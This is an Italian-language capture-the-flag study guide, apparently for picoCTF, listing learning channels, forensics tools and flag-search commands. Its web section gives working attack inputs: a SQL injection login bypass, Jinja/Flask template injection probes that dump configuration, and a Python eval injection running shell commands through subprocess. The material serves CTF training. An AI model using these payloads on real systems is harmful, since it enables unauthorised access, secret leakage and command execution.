    - [https://ncviewer.com/](https://ncviewer.com/)
Scarica lo strumento
  • Gynvael
    • Fa writeup video incredibilmente intuitivi. Ha completato l'intero picoCTF 2019 (non è poco)
  • Black Hills Information Security
    • Azienda di sicurezza che produce molti contenuti educativi
    • Offre sempre corsi e webcast gratuiti su temi di sicurezza
  • stacksmashing
    • Video fantastici di reverse engineering e hacking hardware
    • Ha una serie molto interessante in cui fa reverse engineering di WannaCry
  • Ben Greenberg
    • Professore della GMU con molti tutorial video su pwn e malware
    • Un po' datati, ma comunque validi
  • InfoSecLab at Georgia Tech
    • Lezioni approfondite e avanzate su pwn
    • Richiedono un po' di conoscenze pregresse
  • RPISEC
    • Riunioni del team dell'Università RPI
    • Molto avanzate e presuppongono un po' di conoscenze informatiche di base
  • Matt Brown
    • Penetration tester di Sicurezza Embedded
    • Realizza video ottimi e adatti ai principianti sull'hacking IoT
    • Tantissimi problemi di binary exploitation ordinati per difficoltà
    • Include il codice sorgente e viene fornito con una VM che contiene tutti i binari.
  • Potrebbe essere necessario modificare la firma del file su alcune immagini per farle aprire
  • Elenco delle firme di file comuni
  • Ghex (un altro editor hex ma con GUI. Utile se devi saltare a un certo byte)
    • ghex <file.xyz>
  • I file docx sono contenitori, quindi puoi decomprimerli per trovare contenuti nascosti
    • unzip <file.docx>
  • Grep - Un buon modo per usare grep per trovare la flag ricorsivamente:
    • grep -r --text 'picoCTF{.*}'
    • egrep -r --text 'picoCTF{.*?}
    • Puoi cambiare 'picoCTF' con l'inizio della flag che stai cercando
  • Ltrace - Permette di vedere cosa fa il codice mentre esegui il programma:
    • ltrace ./<file>
    • ltrace -s 100 ./<file>
      • Ltrace accorcia le stringhe molto lunghe. Puoi usare -s per aumentare il numero di caratteri mostrati. Utile quando si esaminano strcmp con stringhe grandi.
  • Video molto buono sulla modifica dello stack con vulnerabilità di formato e %n:
    • https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle
  • Automatizza il processo di SQL injection
  • SQL injection base
    • Inserisci 'OR 1=1-- nel modulo di login
    • Sul server questo verrà valutato come SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''
    • 1=1 viene valutato come vero, soddisfacendo la condizione OR, e il resto della query viene commentato dal --
  • PayloadsAllTheThings
    • Ottima risorsa per lo sfruttamento web con molti payload
  • Template Injection
    • tplmap
      • Iniezione automatica di template lato server
    • Jinja Injection
      • {{ config.items() }}
    • Flask Injection
      • {{ config }}
    • Python eval() function
      • __import__.('subprocess').getoutput('<command>')
        • assicurati di scambiare le parentesi se non funziona
      • __import__.('subprocess').getoutput('ls').split('\\n')
        • elenca i file nel sistema
    • Altre iniezioni Python
  • Cross Site Scripting
    • CSP Evaluator
      • Valutatore della Content Security Policy di Google